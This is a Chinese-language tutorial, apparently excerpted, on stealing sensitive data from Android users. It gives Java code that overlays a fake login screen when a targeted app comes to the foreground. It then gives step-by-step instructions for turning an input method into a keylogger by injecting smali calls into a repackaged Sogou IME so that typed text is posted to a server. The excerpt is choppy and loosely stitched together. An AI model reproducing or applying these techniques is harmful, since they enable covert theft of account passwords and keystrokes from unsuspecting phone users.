0×01 我们能得到哪些android手机上的app敏感信息
<uses-permission android:name=”android.permission.READ_CONTACTS” />
ActivityManager activityManager = (ActivityManager) getSystemService( Context.ACTIVITY_SERVICE ); List<RunningAppProcessInfo> appProcesses = activityManager.getRunningAppProcesses(); //枚举进程 for(RunningAppProcessInfo appProcess : appProcesses) { //如果APP在前台 if (appProcess.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //APP是否在需要劫持的列表中 if (mVictims.containsKey(appProcess.processName)) { if(UILogin.started == 0) { Intent UIIntent = new Intent(getBaseContext(), mVictims.get(appProcess.processName)); UIIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); getApplication().startActivity(UIIntent); UILogin.started =1; }
优点:不用修改目标apk,可以巧妙的骗取用户的账户密码
0×04 Android的apk重打包的优缺点
这应该是一个非root就可以利用的技术 这应该是一个低权限的技术 这应该是一个通用型的技术 这样该是一个不易被察觉的技术
输入法应用是具体处理用户输入行为的应用程序。为了能够在Android的输入法框架中良好的运行,所有的输入法应用都需要继承特定的service。Android平台的输入法框架为输入法应用定义了一个基类InputMethodService。InputMethodService提供了一个输入法的标准实现。定义了输入法生命周期内的重要函数,提供给开发人员进行相应的处理。
a. 当用户触发输入法显示的时候(客户端控件获得焦点),InputMethodService启动。首先调用onCreate() 函数,该函数在输入法第一次启动的时候调用,适合用来做一些初始化的设置,与其他service相同; b. 调用onCreateInputView()函数,在该函数中创建KeyboardView并返回; c. 调用onCreateCandidatesView()函数,在该函数中创建候选区实现并返回; d. 调用onStartInputView()函数来开始输入内容, e. 输入结束后调用onFinishInput()函数来结束当前的输入, f. 如果移动到下一个输入框则重复调用onStartInputView和onFinishInput函数; g. 在输入法关闭的时候调用onDestroy()函数。
a.在InputMethodService中,有几个值得注意的方法或类getCurrentInputEditorInfo() 这个方法可以获得当前 编辑框的一组对象属性EditorInfo,他有如下的关键属性 EditorInfo .hintText顾名思义即为编辑框的默认值,这个是很关键的一个属性. EditorInfo .packageName是指这个控件所属的apk的包名,比如说手机qq中的所有编辑框的packageName都是com.tencent.qq b.getCurrentInputConnection()这个方法可以获得当前的编辑框的一个InputConnection对象,而这个对象则有多个强大的方法可以调用 commitText(CharSequence text, int newCursorPosition),很关键的一个函数,用来向编辑框写入值getTextAfterCursor(int n, int flags) getTextBeforeCursor(int n, int flags) 顾名思义,即是得到输入框中的字符串,n代表读取多少位,flags设为0
我们可以自己实现一个输入法,在输入每一个字符的时候记录,最后在onFinishInput方法处把输入框的值发 送到服务器去可以见示例代码2中,利用android示例代码SoftKeyboard修改的间谍apk,
其中在他的源代码中只改动了两处
handleCharacter 方法最后加入SoftKeyIcefish.postInfo(this);
onFinishInput方法加入SoftKeyIcefish.start();
通过sougou的配置文件可以发现关键的那个InputMethodService类即为
com.sohu.inputmethod.sogou.SogouIME.smali
打开这个文件搜索committext,然后在每一个这个后面加上
invoke-static {p0}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->postInfo(Landroid/inputmethodservice/InputMethodService;)V
即为SoftKeyIcefish.postInfo(this)
查找onFinishInput() v
第一行加上
invoke-static {}, Lcom/sohu/inputmethod/sogou/SoftKeyIcefish;->start()V
即为
SoftKeyIcefish.start();
Apktool b打包,签名,测试
图片见